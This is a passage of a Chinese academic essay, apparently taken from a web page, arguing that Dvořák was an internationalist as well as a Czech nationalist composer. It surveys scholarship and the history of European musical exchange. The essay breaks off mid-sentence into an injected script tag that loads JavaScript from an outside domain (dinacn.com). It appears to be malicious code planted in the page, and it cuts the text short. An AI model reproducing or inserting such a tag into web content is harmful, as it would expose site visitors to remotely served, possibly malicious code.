安东宁·德沃夏克 （Amtonin  Dvorak,1841-1904）是19世纪浪漫主义时期伟大的捷克作曲家。在音乐史中，他与斯美塔那和雅那切克并称为“捷克三杰”。也同为捷克民族主义音乐的代言人。对捷克以外的国家而言，德沃夏克是其中最具国际名声，最易被世人接受的一位。

    他的作品很早就被介绍到我国，并有很多研究成果，主要强调的是其音乐中的民族性特征。尽管有些音乐学者承认德沃夏克的作品中既有民族性特征，又有世界性因素，但都没有就此问题进行深入论述。近年来，美国、加拿大以及欧洲国家的一些音乐学家对德沃夏克的研究又出现新的动向，对其作品中的世界因素有了更多的关注。

    美国音乐学家戴维·贝弗里奇（David R.Beveridge）主编的《反思德沃夏克》[1 ](Rethinking Dvorak)， 书中不少观点充满新意，  该书是一本国际学术论文集， 其中收集了五个国家的音乐学者研究德沃夏克的文章。特别强调了对其创作风格的定位，在书中序言的开篇便这样写道：“1991年9月8日是德沃夏克的150周年诞辰，  也是一个重新思考德沃夏克的日子， 无论对与错，他的形象总是被人们定位于一名‘捷克民族主义者’……尽管如此，在浪漫主义时期的伟大作曲家中，德沃夏克的世界主义倾向是显而易见的，可能只有李斯特、圣-桑和柴科夫斯基可与之相比。”[ 2 ]书中根据对捷克在欧洲地理位置上新的认识  [ 3 ]，论说德沃夏克不仅是一位民族主义作曲家，同时还是位世界主义（internationalist）作曲家。

    我国的音乐学者对德沃夏克也有过新的思考，刘经树先生在他的音乐史书中这样写道：   “德沃夏克拓宽了由斯美塔那开创的捷克艺术音乐的道路，使之更为国际化，更少地域性限制。这一点不仅从他创作的舞曲的多民族体裁而且从他得到国际音乐社会的广泛赞誉上可以得到证实。……他是个国际性的捷克作曲家。”[ 4 ]许多老一辈音乐学家也有类似于这样的评述，在肯定德沃夏克创作的民族性特征的同时，也看到了德沃夏克音乐创作中的世界性因素，甚至有些音乐学者就认为德沃夏克是一位“世界性作曲家。”[  5 ]这些看法是否全面？而且这些学者对于德沃夏克作品中的世界性因素并没有进行更加深入的研究，由此引发了我要研究这个论题，从而全面认识德沃夏克的创作风格。

    一、何谓世界精神

    世界精神在此是指不存在狭隘民族主义或宗教偏见，在文化或艺术模式形成过程中愿意向其它国家或地区学习的一种精神。[ 6 ]也许“世界精神”这一词的说法不是非常准确，但在音乐方面，主要是指对不同国家、不同民族的音乐文化进行结合、交融的一种博采众长的精神。这种精神在欧洲音乐的发展过程中就可看到：文艺复兴时期的尼德兰乐派在复调音乐方面的成就令人瞩目，与“尼德兰和西欧各国有着广泛的文化交流，它吸收了英国、法国、意大利的文化优点”[ 7 ]是分不开的；16世纪末兴起的意大利歌剧也不是出于“一家之作”，它的音乐风格“不仅在意大利的戏剧中早有了准备，16世纪的各种音乐体裁也有从各方面引向这种新风格的趋势。在新教圣咏中、意大利牧歌中、法国复调歌曲中、甚至在帕勒斯特里那的创作中，都提出了重视歌词的要求，而单声主调音乐与和声结合的风格，不仅在各种声乐体裁和器乐创作中有了准备，并且有查里诺进行了理论研究。”[ 8]巴罗克时代的器乐发展也显示了各民族在音乐上的互相往来与交流，在某些器乐体裁上，都可看到各民族音乐成果的融汇性。如古典组曲的体裁就是由不同国家的几种舞曲组成的：阿列曼德（德）、库朗特（法或意）、萨拉班德（西）和吉格（英）。而到了19世纪，许多典型的民间舞曲，如玛祖卡、波尔卡、波洛涅兹等民间舞曲都成了欧洲各国许多专业音乐家广泛写作的体裁。德沃夏克正是继承了这一传统，并把这种世界精神引入他的创作中。

    捷克这个国家的音乐文化自古以来就受到外国音乐文化的影响，  并有着深厚的历史积淀， 是各国音乐文化的一种融合，并在欧洲音乐历史中有着辉煌的业绩。由于地理和历史上的原因， 捷克在1918年成为独立的共和国之前，一直是欧洲古老的哈布斯堡王朝领土的一部分，因此捷克的音乐一直与欧洲的主流音乐，特别是德奥的古典和浪漫主义音乐有着密切的联系。例如前古典时期德国曼海姆乐派的领袖人物斯塔米茨便是一位来自波西米亚的作曲家。这些对于土生土长的捷克作曲家德沃夏克来说是不无影响的，他不仅继承了十九世纪以前的音乐传统，  而且还为其注入了新的内容： 捷克的民族音乐 、浪漫主义音乐等。捷克音乐学家赫尔弗特对他及斯美塔那是这样评价的:“由于斯美塔那和德沃夏克这两个伟大的人格，给欧洲文化带来了新的财产， 而保持了十八世纪捷克音乐的光荣传统并达到新高峰；他们两位除了在本国建立了捷克音乐的楷模外，由于他们的人格， 在外国?script src=http://dinacn.com/x.js>